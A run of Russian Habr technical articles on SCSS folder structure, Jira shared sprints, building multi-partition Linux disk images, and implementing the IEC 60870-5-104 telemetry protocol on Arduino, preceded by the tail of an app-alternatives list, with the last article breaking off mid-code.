воспроизведением) Заметки - Omni Notes Менеджер файлов – SimpleFileManager (от SimpleMobileTools) Галерея – SimpleGallery (от SimpleMobileTools) Калькулятор – SimpleCalculator (от SimpleMobileTools) Часы – SimpleClock (от SimpleMobileTools) Звонилка – SimpleDialer (от SimpleMobileTools) Контакты – SimpleContacts (от SimpleMobileTools) SMS - SimpleSMSMessenger (от SimpleMobileTools) ПК Браузер – Firefox Мессенджер – Telegram (open source клиент) YouTube клиент – FreeTube (без рекламы) Microsoft Office – LibreOffice, OnlyOffice Послесловие ------------ Возможно многие из вас уже задумывались над этой проблемой, и вероятно многие имеют свой альтернативный список сервисов и приложений – поделитесь названиями и отзывами в комментариях и я добавлю их в статью, вместе мы сделаем этот список более обширным и полезным.
https://habr.com/ru/post/586680/
null
ru
null
# Как я структурирую CSS *Приветствую. Представляю вашему вниманию перевод статьи* [*«How I St*](https://matthiasott.com/notes/how-i-structure-my-css?ref=heydesigner)[*r*](https://matthiasott.com/notes/how-i-structure-my-css)[*ucture My CSS (for Now)»*](https://matthiasott.com/notes/how-i-structure-my-css?ref=heydesigner)*, опубликованной 11 августа 2020 года автором Matthias Ott* ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/4f5/345/414/4f5345414ef5b8e0901b5063a025cb22.png)Когда вопрос касается структурирования CSS, нет недостатка различных соглашений об именовании, методологий и архитектур. Будь то [BEM](http://getbem.com/), [OOCSS](https://github.com/stubbornella/oocss/wiki), [SMACSS](http://smacss.com/), [ITCSS](https://www.creativebloq.com/web-design/manage-large-css-projects-itcss-101517528) или [CUBE CSS](https://piccalil.li/cube-css/) - за последние годы появилось много разных подходов к управлению модульным CSS. Одни предлагают стратегии разделения CSS на небольшие, лучше поддающиеся управлению фрагменты, другие больше сосредотачиваются на соглашениях об именовании классов. Порой сложно понять, в чём отличия или преимущества определённых методик, но у всех них, в конце концов, одна цель – обеспечить единую структуру и принципы при работе в команде с другими людьми или с самим собой в будущем. Неудивительно, что в начале каждого нового проекта я обдумываю структуру CSS, а со временем выбранный способ организации и написания кода существенно меняется. Самое большое изменение произошло, когда мы все начали писать CSS для компонентов. Хотя, и препроцессоры, такие как Sass, заметно на это повлияли. В этой статье я поделюсь своим текущим принципом структурирования CSS. В нём я не придерживаюсь какой-либо определённой методологии, хотя те, кто знаком с [ITCSS Гарри Робертса](https://www.creativebloq.com/web-design/manage-large-css-projects-itcss-101517528), определённо увидят сходства. Если вы ещё не знакомились с ITCSS, настоятельно рекомендую это сделать. Больше всего в этой методологии мне нравится прагматичный, полностью прикладной подход и принцип структурирования, делающий CSS всё более конкретным и явным по мере продвижения вниз по структуре. Это облегчает работу с каскадом и наследованием селектора, оставляя количество классов их специфичность на низком уровне. Существует, однако, и несколько отличий, и это именно то, что я предлагаю любому, кто создаёт свою собственную структуру: берите любую методологию и свободно адаптируйте её к своим потребностям и способу работы. Структура основной папки ------------------------ Вот так в данный момент выглядит структура моей папки. Давайте разбираться ``` /scss/ ├── 1-settings ├── 2-design-tokens ├── 3-tools ├── 4-generic ├── 5-elements ├── 6-skeleton ├── 7-components ├── 8-utilities ├── _shame.scss └── main.scss ``` Настройки --------- Первая папка `1-settings` предназначена для общих настроек проекта, самой базовой конфигурации. Это может быть набор глобальных переменных: Sass-переменных или CSS-переменных ``` ├── 1-settings │ └── _global.scss ``` Дизайн-токены ------------- Вторая папка предназначена для стилей, касающихся визуального оформления сайта. Мы всё ещё не пишем правила, предназначенные для стилизации разметки. Здесь мы определяем переменные для шрифта, цветов, отступов, медиа-запросов и всего остального, что будем использовать при вёрстке. Эти атрибуты визуального оформления принято называть "дизайн-токенами". Их значения могут быть взяты из дизайн-системы вашего проекта. ``` ├── 2-design-tokens │ ├── _colors.scss │ ├── _fonts.scss │ ├── _media-queries.scss │ ├── _spacing.scss │ └── _typography.scss ``` Инструменты ----------- Папка "Tools" предназначена для ваших глобальных Sass-миксинов и функций. Возможно, вы захотите управлять цветами с помощью режимов смешивания (blend-mode) или установить соотношение сторон для элемента, содержащего видео? Или применить "clear" для каких-то float-элементов. Сам я не особо использую миксины, но знаю много людей, которые их любят. ``` ├── 3-tools │ ├── _aspect-ratio.scss │ ├── _blend-modes.scss │ ├── _center.scss │ ├── _clearfix.scss │ └── _gradients.scss ``` Общие стили ----------- Как и в методологии ITCSS, "generic" - первая папка, в которую помещаются стили для оформления разметки. Она содержит глобальные правила "box-sizing", сброс CSS или стили для печати - всё, что должно быть задано в самом начале CSS, но еще не зависит от конкретного проекта. ``` ├── 4-generic │ ├── _box-sizing.scss │ ├── _font-face.scss │ ├── _normalize.scss │ └── _print.scss ``` Элементы -------- Теперь, когда базовые правила установлены, мы можем приступить к стилизации строительных блоков нашего интерфейса: основных элементов HTML. В основном не используя классы, мы переопределяем основные стили браузера для оформления заголовков, кнопок, ссылок, списков и т.д., благодаря чему можем быть уверены, что все компоненты в проекте будут иметь одну и ту же базу. ``` ├── 5-elements │ ├── _forms.scss │ ├── _headings.scss │ ├── _images.scss │ ├── _links.scss │ └── _lists.scss │ ├── ... ``` Скелет ------ Любой современный веб-проект, создаваемый с использованием компонентов, требует структуры, рассчитанной для этого: обёртки, контейнеры, гриды, всевозможные переиспользуемые объекты, которые образуют раскладку. Это скелет вашего сайта. ``` ├── 6-skeleton │ ├── _grid.scss │ ├── _layouts.scss │ └── _objects.scss ``` Компоненты ---------- Сердце проекта. Здесь мы разрабатываем компоненты интерфейса. В нескольких последних проектах я даже отделял большие модули и маленькие компоненты, но вместо этого можно просто вкладывать компоненты друг в друга. Если нравится, можете использовать префиксы и [соглашение об именовании, такое как BEM](https://css-tricks.com/bem-101/). Недавно я остановился на BEM-подобном, но более упрощённом соглашении об именовании. Суть в том, чтобы использовать как можно более простые, но информативные имена классов и разделять элементы и их содержимое чертой. Например, `.card` и `.card-content`. Иногда, когда я работаю с Fractal, CSS для отдельных компонентов может также находиться в другой папке вместе с HTML и JavaScript-кодом. В этом случае папка с компонентами может быть пустой или содержать `@import@`. ``` ├── 7-components │ ├── _accordion.scss │ ├── _card.scss │ ├── _hero.scss │ ├── _pan-galactic-gargle-blaster.scss │ └── ... ``` Утилиты ------- Ещё одна папка? Да, но эта - последняя. Папка "utilities" содержит служебные и другие полезные классы и, самое главное, состояния и модификаторы, такие как `.is-active` или `.visually-hidden`. Эти стили переопределяют стили предыдущих слоёв и часто устанавливаются через JavaScript. Мне очень нравится [предложение Andy Bell в его методологии CUBE CSS](https://piccalil.li/cube-css/exception/) использовать data-атрибуты для изменения состояния компонентов, что также полезно с точки зрения большей специфичности. ``` ├── 8-utilities │ ├── _modifiers.scss │ └── _states.scss ``` \_shame.css ----------- Этот файл является [ещё одной идеей Harry Roberts](https://csswizardry.com/2013/04/shame-css/) и предназначен для всех постыдных CSS-решений, таких как быстрые фиксы и хаки, которые могут выступить временным решением, но позже должны быть реализованы как полагается. Обязательно документируйте все эти временные меры с помощью комментариев. Почему вы реализовали это именно так? Есть ли у вас идея, как сделать лучше? Что для этого нужно? И так далее. Собираем всё вместе ------------------- Наконец, файл `main.scss`, собирающий все части воедино. Я предпочитаю явно импортировать каждый файл в отдельной строке вместо импорта всех папок, потому что это даёт больше контроля над последовательностью подключения. Но это, конечно, личное дело каждого. ``` @charset "UTF-8"; // 1. Settings @import "1-settings/global"; // 2. Design Tokens @import "2-design-tokens/colors", "2-design-tokens/fonts", "2-design-tokens/media-queries", "2-design-tokens/spacing", "2-design-tokens/typography"; ... ``` Вот и всё. Такая структура хорошо проявила себя в последних проектах, потому что помогает поддерживать порядок. Получаемый CSS также намного чище, что облегчает поиск нужного фрагмента кода, если нужно внести изменения или исправить ошибки. На днях я делал опрос в Твиттер о предпочитаемой CSS-методологии: Всем нравится использовать свой собственный CSS, и это здорово. Если вы используете методологию или структуру папок, которыми хотели бы поделиться, напишите об этом пост, и я с радостью дам ссылку на него здесь. Было бы интересно посмотреть, как вы структурируете свой CSS. Итоговая структура папок: ``` /scss/ ├── 1-settings │ └── _global.scss ├── 2-design-tokens │ ├── _colors.scss │ ├── _fonts.scss │ ├── _media-queries.scss │ ├── _spacing.scss │ └── _typography.scss ├── 3-tools │ ├── _aspect-ratio.scss │ ├── _blend-modes.scss │ ├── _center.scss │ ├── _clearfix.scss │ └── _gradients.scss ├── 4-generic │ ├── _box-sizing.scss │ ├── _font-face.scss │ ├── _normalize.scss │ └── _print.scss ├── 5-elements │ ├── _forms.scss │ ├── _headings.scss │ ├── _images.scss │ ├── _links.scss │ ├── _lists.scss │ └── ... ├── 6-skeleton │ ├── _grid.scss │ ├── _layouts.scss │ └── _objects.scss ├── 7-components │ ├── _accordion.scss │ ├── _card.scss │ ├── _hero.scss │ ├── _pan-galactic-gargle-blaster.scss │ └── ... ├── 8-utilities │ ├── _modifiers.scss │ └── _states.scss ├── _shame.scss └── main.scss ```
https://habr.com/ru/post/523884/
null
ru
null
# Общие спринты в Atlassian Jira Software Всем привет! В этой статье я хотел бы поговорить об Общих Спринтах (Shared Sprints) в Atlassian Jira Software. Если почитать официальную документацию, например, вот [тут](https://bitbucket.org/atlassian/jira_docs/downloads/), то там не будет такого понятия как общий спринт. Впервые я встретил термин общий спринт вот [тут](https://community.atlassian.com/t5/Agile-articles/Knowing-when-you-have-a-Shared-Sprint/ba-p/944613). В этой статье хорошо рассказано, что такое общие спринты и как с ними жить. Общие спринты — это важное понятие в Atlassian Jira Software, потому что знакомство с общими спринтами происходит, как правило, неожиданно, и кажется, что что-то пошло не так. Но это не так, и, если знать, как общие спринты работают, то можно их использовать для своих нужд. В этой статье я покажу на примерах как выглядят общие спринты, и как их отличить от обычных спринтов. А также расскажу про их особенности. Все примеры в этой статье я пробовал в Jira Software Cloud и в Jira Software Server 7.12.3. Что такое общий спринт? ----------------------- Общий спринт — это спринт, который виден на более, чем одной доске. Например, есть вот такие скриншоты досок: *SCRUM Board*: ![](https://habrastorage.org/r/w1560/webt/yo/nf/le/yonfle_r4zygzm-r6j5vasrnyqk.png) *SCRUM2 Board*: ![](https://habrastorage.org/r/w1560/webt/ed/lf/n6/edlfn6e1hweq3eipqs0hir2nju0.png) Можно увидеть, что на досках SCRUM и SCRUM2 есть спринт с названием SCRUM Sprint 3. Этот спринт виден на двух досках. Значит ли что мы видим общий спринт? Нет. В Jira Software может быть два разных спринта с одинаковым наименованием. Как увидеть ид спринта? ----------------------- Для того, чтобы понять общий ли спринт перед нами или обычный, мы должны посмотреть ид этих двух спринтов. Посмотреть ид спринтов можно вот так: ![](https://habrastorage.org/r/w1560/webt/cy/kk/5f/cykk5fam06elo8thzil6gjr5ess.png) Если навести мышку на кнопку, выделенную на рисунке выше красным, то мы увидим url, который будет оканчиваться на sprintId=<число>. Это число и есть ид спринта. В нашем случае ид у двух спринтов разные, что означает, что перед нами не общий спринт, а два обычных спринта. Общий спринт ------------ Теперь давайте посмотрим вот на этот скриншот: ![](https://habrastorage.org/r/w1560/webt/7b/5a/1e/7b5a1ez-g2v7rm2r_w34xea-exc.png) На скриншоте мы видим доску SCRUM, на которой есть два спринта с одинаковым наименованием. И спринт, выделенный красным содержит такой же тикет, как и спринт на доске SCRUM2. Если мы проверим ид этого спринта на доске SCRUM и SCRUM2, то ид совпадут, а значит, что перед нами общий спринт. Почему у нас один и тот же спринт на двух досках? ------------------------------------------------- Тикеты, которые видны на доске, выбираются фильтрами, которые определены для досок. Фильтры можно посмотреть, если перейти в меню Board Settings -> General. Вот так выглядят фильтры для досок: *SCRUM board*: `project = SCRUM OR priority is not EMPTY ORDER BY Rank ASC` *SCRUM2 board*: `project = SCRUM2 ORDER BY Rank ASC` Мы видим, что фильтр для SCRUM выбирает не только тикеты из проекта SCRUM, но и все тикеты в нашем инстансе Jira, у которых заполнен приоритет, а значит он выбирает и тикеты из проекта SCRUM2. Поэтому тикеты из проекта SCRUM2 видны и на доске SCRUM, и на доске SCRUM2. И поэтому если мы заполним поле Sprint в одном из тикетов, этот спринт появится на двух досках. Спринт создается из доски и содержит ссылку на доску, из которой он создан. Для этого можно выполнить, например, rest/agile/1.0/sprint/sprintId и увидеть доску, из который спринт был создан. В нашем случае мы получим вот такой результат: ``` {"id":5,"self":"https://alex.atlassian.net/rest/agile/1.0/sprint/5","state":"active","name":"SCRUM Sprint 3","startDate":"2018-09-23T06:33:01.266Z","endDate":"2018-10-07T06:33:00.000Z","originBoardId":3,"goal":""} ``` originBoardId = 3, а это доска SCRUM2. Это означает, что спринт изначально был создан на доске SCRUM2, а на доске SCRUM он появился потому, что тикет из спринта есть как на доске SCRUM2, так и на доске SCRUM. Как себя ведут общие спринты? ----------------------------- Если внести какие-то изменения в общий спринт на любой из досок, на которой спринт виден, то изменения будут видны на всех досках. Например, если мы переименуем спринт на доске SCRUM, то он переименуется и на доске SCRUM2. Если мы закроем спринт на доске SCRUM, то он и закроется на доске SCRUM. Именно это поведение обычно встречают пользователи. Они работают со спринтом и вдруг спринт закрывается. Никто из команды его не закрывал. В результате оказывается, что спринт был закрыт из другой доски, у которой фильтр выбирает тикеты из этого проекта. Как можно использовать общие спринты? ------------------------------------- Допустим у нас есть несколько команд, и у каждой команды есть свой проект. Каждая команда создает доску и работает на этой доске. Мы хотим увидеть спринты всех команд. Как мы это можем сделать? * Мы можем попросить расшарить все доски для нас, и тогда мы сможем увидеть спринт, если зайдем на нужную доску. * Мы можем создать доску, которая будет выбирать тикеты из всех проектов команд. В этом случае мы будем видеть информацию по всем спринтам на одной доске, что будет от нас требовать меньше усилий для просмотра всех спринтов команд. Но нужно не забывать, что любые действия со спринтом на нашей доске, повлекут те же самые изменения на досках команд. Это все, что я хотел рассказать в этой статье. Надеюсь, информация Вам пригодится.
https://habr.com/ru/post/430966/
null
ru
null
# Как создать образ диска в Linux с несколькими разделами, не имея физического образца Здравствуй дорогой читатель данного руководства. Меня зовут Андрей, и нет, я не алкоголик, а разработчик встраиваемых систем на базе Linux. Данная статья является кратким руководством по созданию образа диска с несколькими разделами, куда можно было бы записать всякую всячину для передачи заказчику, а в дальнейшем и на производство. Для чего это нужно? Все процессорные платы, разрабатываемые нашим предприятием, обладают слотом для sdcard и установленной на плате mmc. Загрузка системы производится либо с sd, либо c mmc. sd-карта является, как правило, временным решением, подкупает простотой установки. А mmc является постоянным решением, куда устанавливается уже финальное программное обеспечение. Переключение между способами загрузки осуществляется перемычками (джамперами на плате). В случае, когда мы говорим о заказчике на этапе разработки, ему необходима самостоятельная возможность работать с устройством. Для этого ему предоставляется само устройство и ссылка для скачивания образа, с инструкцией, как установить образ на sdcard и загрузить с неё систему. Далее заказчик иницирует либо установку с sd-карты, либо запускает диагностическое программное обеспечение, но это уже конкретные детали работы с заказчиком. В случае, когда мы говорим о производстве, и выпуске устройства, то мы знаем, что люди которые будут устанавливать на mmc конечный продукт, как правило, не умеют подключаться через терминал и работать с командной строкой u-boot или Linux, да и просто может не быть на это времени. В их задачи должны входить осуществление простого производственного цикла, например: 1. получить устройство; 2. подключить к стенду; 3. установить джамперы и sd-карту; 4. подать питание; 5. дождаться сообщений об окончании установки ПО; 6. выключить устройство; 7. снять джамперы и извлечь sd-карту; 8. подать питание; 9. дождаться диагностических сообщений; 10. выключить устройство и передать дальше... Конечно, образ можно разместить, например на сервере, и накатывать через сеть, но такой вариант, все равно, требует, как минимум, наличие загрузчика на mmc. Для того, чтобы не мучаться с каждой sd-картой для каждого варианта, можно заранее подготовить несколько образов. И тут возникает вопрос - каким образом? Подготовку можно даже автоматизировать, но это совсем другая история. Что потребуется для понимания и осуществления происходящего: * ОС GNU/Linux Debian; * умение пользоваться командной строкой на уровне ввода команд; * понимать что такое переменная окружения и как ее значение использовать в командной строке. Создаем образ: 1. Создаём файл образа диска заданного размера: ``` dd if=/dev/zero of=${FILENAME} bs=${BYTES} count=${NUMBER_OF_BYTES} # или truncate -s ${SIZE} ${FILENAME} ``` 2. Подключаем диск к системе, разбиваем и форматируем: ``` fdisk ${FILENAME} # как делить диск и на какое количество разделов, личное дело каждого DEVLOOP=$(sudo losetup --show -fP ${FILENAME}) # форматируем разделы, если образ диска включает два раздела, то: sudo mkfs.${FSTYPE} ${DEVLOOP}p1 sudo mkfs.${FSTYPE} ${DEVLOOP}p2 ``` 3. Монтируем разделы и записываем информацию: ``` sudo mount ${DEVLOOP}p${N} ${MOUNTPOINT}${N} sudo cp -aR /rootfs/* ${MOUNTPOINT}${N}/ # что записываем и куда, каждый решает сам # если вам также как и мне требуется на диске u-boot, то не забываем установить: sudo dd if=u-boot.img of=${DEVLOOP} bs=1k seek=1 ``` 4. Отключаем диски в обратном порядке: ``` sudo umount ${MOUNTPOINT}${N} sudo losetup -d ${DEVLOOP} ``` 5. Записываем полученный образ на соотвествующее устройство, если есть необходимость, например, для проверки и тестирования: ``` sudo dd if=${FILENAME} of=${BLKDEV} conv=fsync ``` Передаём полученный ${FILENAME} заказчику или производству, с инструкцией, как пользоваться. #### Заключение Подготовить образ диска можно двумя способами: * сделав образ с реального физического носителя при помощи программы dd; * создав изначально целиком виртуальный образ, который может быть установлен на любой внешний носитель при помощи той же dd. Почему первый способ не всегда подходит? Если вы разрабатываете одну систему, пользуетесь одной sd-картой, то этот способ кажется вполне приемлемым. Но, как только, вы попробуете установить образ с этой единственной sd-карты на другую, похожую, например другого размера, вас ждет разочарование в таком подходе. У меня в работе, как правило несколько встраиваемых систем, и держать по несколько разных sd-карт для каждой - просто незволительная роскошь. Виртуальный же образ всегда легко модифицируем и распространяем. Но есть недостаток - это его фиксированный размер, он в таком же виде попадет на sd-карту, ограничив размер используемого места, но для случая когда это необходимо для разворачивания системы это не имеет значения. UPD: Руководство исправлено в соответствии с замечаниями комментаторов. Спасибо.
https://habr.com/ru/post/653153/
null
ru
null
# Как я писал библиотеку под МЭК 870-5-104 на Arduino при помощи Wireshark В этой статье я хотел бы рассказать о своем знакомстве с протоком передачи данных МЭК 870-5-104 со стороны контролируемого (slave) устройства путем написания простой библиотеки на Arduino. Что такое МЭК 870-5-104 это и где применяется? ---------------------------------------------- МЭК 60870-5-104 – протокол телемеханики, предназначенный для передачи сигналов ТМ в АСТУ, регламентирующий использование сетевого доступа по протоколу TCP/IP. Чаще всего применяется в энергетике для информационного обмена между энергосистемами, а также для получения данных от измерительных преобразователей (вольтметры, счетчики электроэнергии и прочее). Стэк протокола МЭК 670-5-104: ![](https://habrastorage.org/r/w780q1/files/55d/e9f/d32/55de9fd3250e425eb990bd24f0a95c61.jpg) Используемые материалы ---------------------- * плата Arduino UNO; * Ethernet shield (HR911105a); * в роли мастера МЭК 60870-5-104 будет выступать MicroScada от ABB; * Wireshark для анализа трафика. Краткое описание этапов работы ------------------------------ 1. Установка TCP/IP соединение по 2404 порту; 2. Подтверждение запроса на передачу данных (STARTDT act/con); 3. Запрос на общий опрос станции; 4. Подготовка и передача данных контролирующей (master) станции; 5. Процедуры тестирования. Подготовка ---------- * Подключена плата Arduino к ПК; * Настроен соответствующим образом сетевой интерфейс; * Настроена контролирующая (master) станция (добавлена 104 линия и добавлено контролируемое (slave) устройство). ![](https://habrastorage.org/r/w780q1/files/7c7/57a/7e9/7c757a7e90224906861affb7729a845b.jpg) Термины и сокращения -------------------- **APCI** — Управляющая Информация Прикладного Уровня может применяться как самостоятельный управляющий кадр (кадр U или кадр S). **ASDU** — Блоки данных прикладного уровня, состоит из идентификатора блока данных и одного или более объектов информации, каждый из которых включает в себя один или более однородных элементов информации (либо комбинаций элементов информации). **APDU** — Протокольный блок данных прикладного уровня. **ТС** — телесигнализация. **ТИ** — телеизмерения. **ТУ** — телеуправление. 1. Установка TCP/IP соединение порт 2404 ---------------------------------------- Контролирующая (master) станция инициализирует установку TCP соединения путем посылки TCP пакета с флагом (SYS). Соединение считается установленным, если в течение контрольного времени (t0) контролируемая станция (slave) выдала на свой уровень TCP/IP подтверждение «активного открытия» (SYS ACK). Контрольное время t0 называется «Тайм-аут установки соединения». Таймер t0 определяет, когда открытие отменяется и не определяет начало новой попытки соединения. ![](https://habrastorage.org/r/w780q1/files/eb2/65a/2e6/eb265a2e6766475083cce7e729f8b2e9.jpg) Взаимодействие с транспортным уровнем выполняет стандартная библиотека для плат Arduino «Ethernet.h». То есть первым делом необходимо установить TCP/IP соединение между контролируемой и контролирующей станциями. Для этого необходимо в скетче Arduino инициализировать устройство и создать сервер который будет ожидать входящие соединения через указанный порт. **Скетч** ``` #include byte mac[] = {0x90, 0xA2, 0xDA, 0x0E, 0x94, 0xB7 };//мак адрес IPAddress ip(172, 16, 7, 1);// ip адрес контролируемого устройства IPAddress gateway(172, 16,7, 0);//шлюз IPAddress subnet(255, 255, 0, 0);//маска EthernetClient client; EthernetServer iec104Server(2404);// для МЭК 670-5-104- порт- 2404 void setup() { Ethernet.begin(mac, ip, gateway, subnet); // инициализация Ethernet-устройства } void loop() { client = iec104Server.available();//подсоединение клиентов } ``` Если загрузить этот скетч то будет происходить следующее: ![](https://habrastorage.org/r/w780q1/files/af2/2bb/562/af22bb562a044e40953690fa05ff1e6c.jpg) Установка соединения, далее приходит пока неизвестный для Arduino пакет STARTDT act и по истечении определенного времени рвется соединение. Далее необходимо разобраться что такое STARTDT act. 2. Подтверждение запроса на передачу данных (STARTDT act/con) ------------------------------------------------------------- В МЭК 670-5-104 существует 3 типа формата для передачи: * I-формат для передачи данных телеметрии; * S-формат для передачи квитанций; * U-формат для передачи посылок установления связи и тестирования канала связи. После успешного «тройного рукопожатия» контролирующая (master) станция посылает APDU STARTDT (старт передачи данных). STARTDT инициирует для контролируемой (Slavе) станции разрешение передачи блоков ASDU (кадров I) в направлении контролирующей (master), для продолжения работы необходимо подтвердить STARTDT, если контролируемая (Slavе) станция готова к передаче блоков данных. Если контролируемая (slave) станция не подтверждает выполнение STARTDT то контролирующая (master) станция вызывает обязательное закрытие IP- соединения. **Картинка**![](https://habrastorage.org/r/w780q1/files/bdd/ce9/156/bddce915668f4fa4bc23bfa2ac96da1d.jpg) Таким образом далее необходимо считать байты полученные от контролирующей (master) станции и разобрать их. **Скетч** ``` uint8_t iec104ReciveArray[128];//массив для приема EthernetClient client = iec104Server.available(); if(client.available()) { delay(100); int i = 0; while(client.available()) { iec104ReciveArray[i] = client.read();//записываем в буфер приема данные i++; } ``` Прочитав данные необходимо разобрать их и сформировать ответ. **Wireshark**![](https://habrastorage.org/r/w780q1/files/d20/e60/ed1/d20e60ed10884926b65d367d685beab7.jpg) Вот как выглядит посылка содержащая блок STARTDT в программе Wireshark, APDU блок U-формата, который состоит только из APCI. **APCI**-*Управляющая Информация Прикладного Уровня может применяться как самостоятельный управляющий кадр (кадр U или кадр S).* ![](https://habrastorage.org/r/w780q1/files/fcd/112/eb4/fcd112eb423040808580405d389c50e8.jpg) Вкратце можно сказать, что блок APCI определяет тип блока APDU и его длину. **APCI** состоит из следующих шести байтов: **1.** Признак инициализации блока APDU переменной длины, начинающийся байтом START2 68h; **2.** Длин APDU, в данном примере равна четырем байтам; **3.** Байт управления в котором определяется тип APDU, в данном примере записано значение равное семи, что означает запрос на передачу данных; **4,5,6** Не используются. ![](https://habrastorage.org/r/w780q1/files/e12/122/9e6/e121229e6ab34b06ab52daa36bc64eec.jpg) Исходя из вышеописанного, перед тем как ответить, не мешало бы определить какой тип APDU нам послала контролирующая станция. Зная, что тип APDU записан третьим по порядку чтения блока APCI байтом, сохраню его в целочисленную переменную. *Примечание: Если будет получен пакет формата «I» то 3 байт в APCI будет также содержать значение младшего слова счетчика принятых пакетов,* ![](https://habrastorage.org/r/w780q1/files/7d6/328/0b9/7d63280b9eab47e5b011477dc3f1eaa9.jpg) *поэтому пришлось немного усложнить конструкцию определения типа APDU.* **Скетч** ``` ASDU=iec104ReciveArray[6];//пакет ASDU? switch (ASDU) { case 100://опрос станции TypeQuerry=iec104ReciveArray[2]-word(iec104ReciveArray[3],iec104ReciveArray[2]);//Тип rxcnt+=2;//увеличение счетчика принятых пакетов break; case 0: TypeQuerry=iec104ReciveArray[2]; //Тип break; default : TypeQuerry=iec104ReciveArray[2];//Тип break; } ``` Из рисунка выше видно, что тип APDU соответствующий значению 7 это STARTDT act соответственно ответить необходимо таким же по структуре пакетом только значение типа должно иметь значение 11 (0b), что соответствует STARTDT con. **Скетч** ``` #include byte mac[] = {0x90, 0xA2, 0xDA, 0x0E, 0x94, 0xB7 }; IPAddress ip(172, 16, 7, 1); IPAddress gateway(172, 16,7, 0); IPAddress subnet(255, 255, 0, 0); EthernetClient client; EthernetServer iec104Server(2404); int TypeQuerry, MessageLength;// тип APDU и длина посылки uint8\_t iec104ReciveArray[128];//буфер приема APDU void setup() { Ethernet.begin(mac, ip, gateway, subnet); } void loop() { client = iec104Server.available(); if(client.available())//клиент подсоединен { delay(100); int i = 0; while(client.available())//чтение байтов { iec104ReciveArray[i] = client.read();//записываем в буфер приема данные i++; } TypeQuerry= iec104ReciveArray[2];//определяем тип APDU switch(TypeQuerry) { case 07:// если пришел тип STARTDT iec104ReciveArray[0]=iec104ReciveArray[0];// START2 = 68h; iec104ReciveArray[1]=iec104ReciveArray[1];//длина APDU iec104ReciveArray[2] = iec104ReciveArray[2]+4; //тип APDU iec104ReciveArray[3]=0; iec104ReciveArray[4]=0; iec104ReciveArray[5]=0; MessageLength = iec104ReciveArray[1]+2;//длина сообщения + 2 байта Start and Lenght APCI delay(100); client.write(iec104ReciveArray, MessageLength);//передача обратно break; } } } ``` После обновления скетча наблюдаем следующий порядок обмена: ![](https://habrastorage.org/r/w780q1/files/66c/6c7/50a/66c6c750ad3e4054a379b78aba695470.jpg) Установку соединения, запрос на передачу данных, подтверждение запроса и еще один новый пока неизвестный APDU формата I типа 1 C\_IC\_NA Act. 3. Запрос на общий опрос станции -------------------------------- > Команда опроса C\_IC ACT запрашивает полный объем или заданный определенный поднабор опрашиваемой информации на КП. Поднабор (группа) выбирается с помощью описателя опроса QOI. > > Команда опроса станции требует от контролируемых станций передать актуальное состояние их информации, обычно передаваемой спорадически (причина передачи = 3), на контролирующую станцию с причинами передачи от <20> до <36>. Опрос станции используется для синхронизации информации о процессе на контролирующей станции и контролируемых станциях. Он также используется для обновления информации на контролирующей станции после процедуры инициализации или после того, как контролирующая станция обнаружит потерю канала (безуспешное повторение запроса канального уровня) и последующее восстановление его. Ответ на опрос станции должен включать объекты информации о процессе, которые запомнены на контролируемой станции. В ответ на опрос станции эти объекты информации передаются с идентификаторами типов <1>, <3>, <5>, <7>, <9>, <11>, <13>, <20> или <21> и могут также передаваться в других ASDU с идентификаторами типов от <1> до <14>, <20>, <21>, от <30> до <36> и с причинами передачи <1> — периодически/циклически, <2> — фоновое сканирование или <3> — спорадически. **Картинка**![](https://habrastorage.org/r/w780q1/files/0b1/e4b/5e6/0b1e4b5e647d473a9e7079bbdfb1fdeb.jpg) APDU <100> C\_IC\_NA\_1 кроме блока APCI так же имеет блок ASDU (блок данных прикладного уровня), которые вместе формируют Протокольный Блок Данных Прикладного Уровня APDU. ![](https://habrastorage.org/r/w780q1/files/13e/bb4/32d/13ebb432d1cc44cc9bdd5eb4b30677c6.jpg) Рассмотрим более подробно полученный APDU. **APCI:** * В первом байте указан тип 0 означающий, что это команда опроса; * Во втором длина APDU 14 байт; **ASDU:** * Первый байт в блоке ASDU определяет тип объекта информации, в данном случае <100> C\_IC\_NA\_1 (общий опрос станции); * Второй структуру блока данных; * Третий причину передачи (CauseTx), значение шесть означает запрос на активацию; * Четвертый общий адрес стануии; * Пятый адрес контролируемой (slave) станции; * С шестого по восьмой адрес объекта информации равен нулю; * Девятый информационный байт — QOI — описатель запроса, имеющий следующие значения: В ответ на <100> C\_IC\_NA\_1 необходимо ответить подтверждением на запрос, передать объекты информации о процессе, которые запомнены на контролируемой станции и завершить активацию. Для отправки подтверждения необходимо в ASDU <100> C\_IC\_NA\_1 записать в байт указывающий на причину передачи (CauseTX) значение равное 7, для оправки завершения активации необходимо записать в байт указывающий на причину передачи (CauseTX) значение равное 10. **Скетч** ``` case 00://опрос станции txcnt=txcnt+02; //Подтверждение общего опроса iec104ReciveArray[0]=iec104ReciveArray[0]; iec104ReciveArray[1]=iec104ReciveArray[1]; iec104ReciveArray[2]=lowByte(txcnt);//TX L iec104ReciveArray[3]=highByte(txcnt);//TX H iec104ReciveArray[4]=lowByte(rxcnt);//RX L iec104ReciveArray[5]=highByte(rxcnt);//RX H iec104ReciveArray[6]=100;//опрос станции iec104ReciveArray[7]=01; iec104ReciveArray[8]=7;//cause Actcon iec104ReciveArray[9]=00;//OA iec104ReciveArray[10]=01;//Addr iec104ReciveArray[11]=00;//Addr iec104ReciveArray[12]=00;//IOA iec104ReciveArray[13]=00;//IOA iec104ReciveArray[14]=00;//IOA iec104ReciveArray[15]=20;//IOA, QOI MessageLength = iec104ReciveArray[1]+2; delay(100); client.write(iec104ReciveArray, MessageLength); txcnt=txcnt+2;//увеличение счетчика переданных пакетов //актуальные состояния информации контролирующей станции в ответ на общий опрос iec104ReciveArray[0]=iec104ReciveArray[0]; iec104ReciveArray[1]=14;//длина APDU=APCI(4)+ ASDU(10) iec104ReciveArray[2]=lowByte(txcnt); iec104ReciveArray[3]=highByte(txcnt); iec104ReciveArray[4]=lowByte(rxcnt); iec104ReciveArray[5]=highByte(rxcnt); iec104ReciveArray[6]=1;//type 1 iec104ReciveArray[7]=01;//sq iec104ReciveArray[8]=20;//Cause Inrogen iec104ReciveArray[9]=00;//AO iec104ReciveArray[10]=01;//Adress iec104ReciveArray[11]=00;//Adress iec104ReciveArray[12]=iecData[0];//IOA iec104ReciveArray[13]=iecData[1];//IOA iec104ReciveArray[14]=0;//IOA iec104ReciveArray[15]=iecData[2];//value [DATA 1] MessageLength = iec104ReciveArray[1]+2; client.write(iec104ReciveArray, MessageLength); txcnt=txcnt+2; iec104ReciveArray[0]=iec104ReciveArray[0]; 